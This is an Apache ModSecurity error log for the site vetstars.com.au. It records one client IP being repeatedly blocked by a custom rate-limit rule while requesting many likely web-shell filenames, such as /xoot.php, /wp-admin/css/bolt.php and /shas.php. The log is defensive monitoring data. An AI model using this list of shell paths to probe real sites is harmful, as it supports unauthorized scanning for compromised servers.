[Thu Feb 26 11:49:54.038332 2026] [:error] [pid 54990:tid 55002] [client 172.190.142.176:38137] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xoot.php"] [unique_id "aZ_C4ntr2qmt_mBhH2zTpQAAAAk"]
[Thu Feb 26 11:49:54.499957 2026] [:error] [pid 55618:tid 55633] [client 172.190.142.176:5580] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xoot.php"] [unique_id "aZ_C4h61Vrh12f_8oWRVjAAAAQw"]
[Thu Feb 26 11:49:54.928546 2026] [:error] [pid 55122:tid 55142] [client 172.190.142.176:55097] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xoot.php"] [unique_id "aZ_C4oLiR0OfjFxvcN-n7gAAANI"]
[Thu Feb 26 11:49:55.348333 2026] [:error] [pid 55618:tid 55627] [client 172.190.142.176:55051] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X57.php"] [unique_id "aZ_C4x61Vrh12f_8oWRVjQAAAQY"]
[Thu Feb 26 11:49:55.764974 2026] [:error] [pid 55051:tid 55076] [client 172.190.142.176:5587] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X57.php"] [unique_id "aZ_C4wmK1w2kZvh5eLHSAAAAAJY"]
[Thu Feb 26 11:49:56.183591 2026] [:error] [pid 25311:tid 25316] [client 172.190.142.176:5625] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X57.php"] [unique_id "aZ_C5NfdM__yZAgJFSuJFgAAAYI"]
[Thu Feb 26 11:49:56.633830 2026] [:error] [pid 55122:tid 55131] [client 172.190.142.176:38114] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/X57.php"] [unique_id "aZ_C5ILiR0OfjFxvcN-n7wAAAMc"]
[Thu Feb 26 11:49:57.088359 2026] [:error] [pid 25311:tid 25338] [client 172.190.142.176:55056] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aZ_C5dfdM__yZAgJFSuJGAAAAZg"]
[Thu Feb 26 11:49:57.533447 2026] [:error] [pid 55051:tid 55064] [client 172.190.142.176:36080] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aZ_C5QmK1w2kZvh5eLHSAQAAAIo"]
[Thu Feb 26 11:49:57.970121 2026] [:error] [pid 55618:tid 55626] [client 172.190.142.176:55068] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aZ_C5R61Vrh12f_8oWRVkQAAAQU"]
[Thu Feb 26 11:49:58.385573 2026] [:error] [pid 54991:tid 55042] [client 172.190.142.176:24994] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vx.php"] [unique_id "aZ_C5t4Zx-mJ8gbRB2h_vgAAAFY"]
[Thu Feb 26 11:49:58.838762 2026] [:error] [pid 55618:tid 55634] [client 172.190.142.176:56074] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file59.php"] [unique_id "aZ_C5h61Vrh12f_8oWRVkwAAAQ0"]
[Thu Feb 26 11:49:59.266793 2026] [:error] [pid 54990:tid 55010] [client 172.190.142.176:18816] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file59.php"] [unique_id "aZ_C53tr2qmt_mBhH2zTpgAAABE"]
[Thu Feb 26 11:49:59.692483 2026] [:error] [pid 55122:tid 55143] [client 172.190.142.176:19004] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file59.php"] [unique_id "aZ_C54LiR0OfjFxvcN-n8AAAANM"]
[Thu Feb 26 11:50:00.140139 2026] [:error] [pid 25311:tid 25330] [client 172.190.142.176:18945] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file59.php"] [unique_id "aZ_C6NfdM__yZAgJFSuJHQAAAZA"]
[Thu Feb 26 11:50:00.574867 2026] [:error] [pid 55122:tid 55136] [client 172.190.142.176:31382] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aZ_C6ILiR0OfjFxvcN-n8QAAAMw"]
[Thu Feb 26 11:50:01.031731 2026] [:error] [pid 54991:tid 55043] [client 172.190.142.176:3779] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aZ_C6d4Zx-mJ8gbRB2h_wAAAAFc"]
[Thu Feb 26 11:50:01.458469 2026] [:error] [pid 54990:tid 55008] [client 172.190.142.176:31706] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aZ_C6Xtr2qmt_mBhH2zTqQAAAA8"]
[Thu Feb 26 11:50:01.864945 2026] [:error] [pid 54990:tid 54994] [client 172.190.142.176:5786] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aZ_C6Xtr2qmt_mBhH2zTqgAAAAE"]
[Thu Feb 26 11:50:02.281132 2026] [:error] [pid 55122:tid 55139] [client 172.190.142.176:5782] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shas.php"] [unique_id "aZ_C6oLiR0OfjFxvcN-n8wAAAM8"]
[Thu Feb 26 11:50:02.711957 2026] [:error] [pid 25311:tid 25338] [client 172.190.142.176:3912] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shas.php"] [unique_id "aZ_C6tfdM__yZAgJFSuJIgAAAZg"]
[Thu Feb 26 11:50:03.172037 2026] [:error] [pid 25311:tid 25336] [client 172.190.142.176:12953] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shas.php"] [unique_id "aZ_C69fdM__yZAgJFSuJJAAAAZY"]
[Thu Feb 26 11:50:03.630698 2026] [:error] [pid 25311:tid 25320] [client 172.190.142.176:31413] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shas.php"] [unique_id "aZ_C69fdM__yZAgJFSuJJwAAAYY"]
[Thu Feb 26 11:50:04.048479 2026] [:error] [pid 55618:tid 55625] [client 172.190.142.176:38090] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aZ_C7B61Vrh12f_8oWRVmgAAAQQ"]
[Thu Feb 26 11:50:04.468112 2026] [:error] [pid 55122:tid 55135] [client 172.190.142.176:59781] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aZ_C7ILiR0OfjFxvcN-n9AAAAMs"]
[Thu Feb 26 11:50:04.898750 2026] [:error] [pid 55618:tid 55633] [client 172.190.142.176:5298] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aZ_C7B61Vrh12f_8oWRVnQAAAQw"]
[Thu Feb 26 11:50:05.325809 2026] [:error] [pid 55122:tid 55126] [client 172.190.142.176:31373] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aZ_C7YLiR0OfjFxvcN-n9QAAAMI"]
[Thu Feb 26 11:50:05.769241 2026] [:error] [pid 3883:tid 3896] [client 172.190.142.176:22985] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xda.php"] [unique_id "aZ_C7eA33x90V6yYHaguBgAAAUo"]
[Thu Feb 26 11:50:06.190663 2026] [:error] [pid 54990:tid 55004] [client 172.190.142.176:49084] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xda.php"] [unique_id "aZ_C7ntr2qmt_mBhH2zTrgAAAAs"]
[Thu Feb 26 11:50:06.643707 2026] [:error] [pid 54991:tid 55024] [client 172.190.142.176:49065] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xda.php"] [unique_id "aZ_C7t4Zx-mJ8gbRB2h_wgAAAEQ"]
[Thu Feb 26 11:50:07.066931 2026] [:error] [pid 25311:tid 25330] [client 172.190.142.176:13184] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xda.php"] [unique_id "aZ_C79fdM__yZAgJFSuJLAAAAZA"]
[Thu Feb 26 11:50:07.509775 2026] [:error] [pid 54991:tid 55044] [client 172.190.142.176:18992] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/er.php"] [unique_id "aZ_C794Zx-mJ8gbRB2h_wwAAAFg"]
[Thu Feb 26 11:50:07.976445 2026] [:error] [pid 25311:tid 25326] [client 172.190.142.176:60197] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/er.php"] [unique_id "aZ_C79fdM__yZAgJFSuJLgAAAYw"]
[Thu Feb 26 11:50:08.404676 2026] [:error] [pid 25311:tid 25327] [client 172.190.142.176:19060] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/er.php"] [unique_id "aZ_C8NfdM__yZAgJFSuJMgAAAY0"]
[Thu Feb 26 11:50:08.837301 2026] [:error] [pid 25311:tid 25333] [client 172.190.142.176:49049] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/er.php"] [unique_id "aZ_C8NfdM__yZAgJFSuJNAAAAZM"]
[Thu Feb 26 11:50:09.280683 2026] [:error] [pid 25311:tid 25328] [client 172.190.142.176:31378] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fault.php"] [unique_id "aZ_C8dfdM__yZAgJFSuJOAAAAY4"]
[Thu Feb 26 11:50:09.734859 2026] [:error] [pid 25311:tid 25324] [client 172.190.142.176:31363] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fault.php"] [unique_id "aZ_C8dfdM__yZAgJFSuJPwAAAYo"]
[Thu Feb 26 11:50:10.208337 2026] [:error] [pid 55051:tid 55055] [client 172.190.142.176:18956] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fault.php"] [unique_id "aZ_C8gmK1w2kZvh5eLHSEQAAAIE"]
[Thu Feb 26 11:50:10.651076 2026] [:error] [pid 3883:tid 3899] [client 172.190.142.176:3669] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fault.php"] [unique_id "aZ_C8uA33x90V6yYHaguCQAAAU0"]
[Thu Feb 26 11:50:11.105383 2026] [:error] [pid 55618:tid 55635] [client 172.190.142.176:26448] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aZ_C8x61Vrh12f_8oWRVpQAAAQ4"]
[Thu Feb 26 11:50:11.542358 2026] [:error] [pid 55618:tid 55644] [client 172.190.142.176:5493] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aZ_C8x61Vrh12f_8oWRVqAAAARc"]
[Thu Feb 26 11:50:12.003150 2026] [:error] [pid 55051:tid 55061] [client 172.190.142.176:18959] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aZ_C9AmK1w2kZvh5eLHSFQAAAIc"]
[Thu Feb 26 11:50:12.434279 2026] [:error] [pid 25311:tid 25328] [client 172.190.142.176:31834] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/motu.php"] [unique_id "aZ_C9NfdM__yZAgJFSuJRQAAAY4"]
[Thu Feb 26 11:50:12.858137 2026] [:error] [pid 3883:tid 3903] [client 172.190.142.176:31819] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aZ_C9OA33x90V6yYHaguDgAAAVE"]
[Thu Feb 26 11:50:13.286690 2026] [:error] [pid 25311:tid 25318] [client 172.190.142.176:47330] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aZ_C9dfdM__yZAgJFSuJTwAAAYQ"]
[Thu Feb 26 11:50:13.711844 2026] [:error] [pid 3883:tid 3905] [client 172.190.142.176:12812] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aZ_C9eA33x90V6yYHaguEAAAAVM"]
[Thu Feb 26 11:50:14.139711 2026] [:error] [pid 55122:tid 55138] [client 172.190.142.176:31677] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aZ_C9oLiR0OfjFxvcN-n-QAAAM4"]
[Thu Feb 26 11:50:14.572658 2026] [:error] [pid 55618:tid 55639] [client 172.190.142.176:18991] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/leuk.php"] [unique_id "aZ_C9h61Vrh12f_8oWRVrQAAARI"]
[Thu Feb 26 11:50:15.006709 2026] [:error] [pid 55618:tid 55634] [client 172.190.142.176:31860] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/leuk.php"] [unique_id "aZ_C9x61Vrh12f_8oWRVrgAAAQ0"]
[Thu Feb 26 11:50:15.438315 2026] [:error] [pid 3883:tid 3888] [client 172.190.142.176:18611] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/leuk.php"] [unique_id "aZ_C9-A33x90V6yYHaguFAAAAUI"]
[Thu Feb 26 11:50:15.853652 2026] [:error] [pid 55618:tid 55637] [client 172.190.142.176:31866] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/leuk.php"] [unique_id "aZ_C9x61Vrh12f_8oWRVswAAARA"]
[Thu Feb 26 11:50:16.269516 2026] [:error] [pid 3883:tid 3909] [client 172.190.142.176:5231] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xqq.php"] [unique_id "aZ_C-OA33x90V6yYHaguFgAAAVc"]
[Thu Feb 26 11:50:16.694174 2026] [:error] [pid 55122:tid 55137] [client 172.190.142.176:41380] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xqq.php"] [unique_id "aZ_C-ILiR0OfjFxvcN-n-gAAAM0"]
[Thu Feb 26 11:50:17.148306 2026] [:error] [pid 55051:tid 55078] [client 172.190.142.176:31852] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xqq.php"] [unique_id "aZ_C-QmK1w2kZvh5eLHSHgAAAJg"]
[Thu Feb 26 11:50:17.589929 2026] [:error] [pid 25311:tid 25328] [client 172.190.142.176:18600] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xqq.php"] [unique_id "aZ_C-dfdM__yZAgJFSuJgAAAAY4"]
[Thu Feb 26 11:50:18.026268 2026] [:error] [pid 3883:tid 3892] [client 172.190.142.176:12631] [client 172.190.142.176] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kolda.php"] [unique_id "aZ_C-uA33x90V6yYHaguGwAAAUY"]
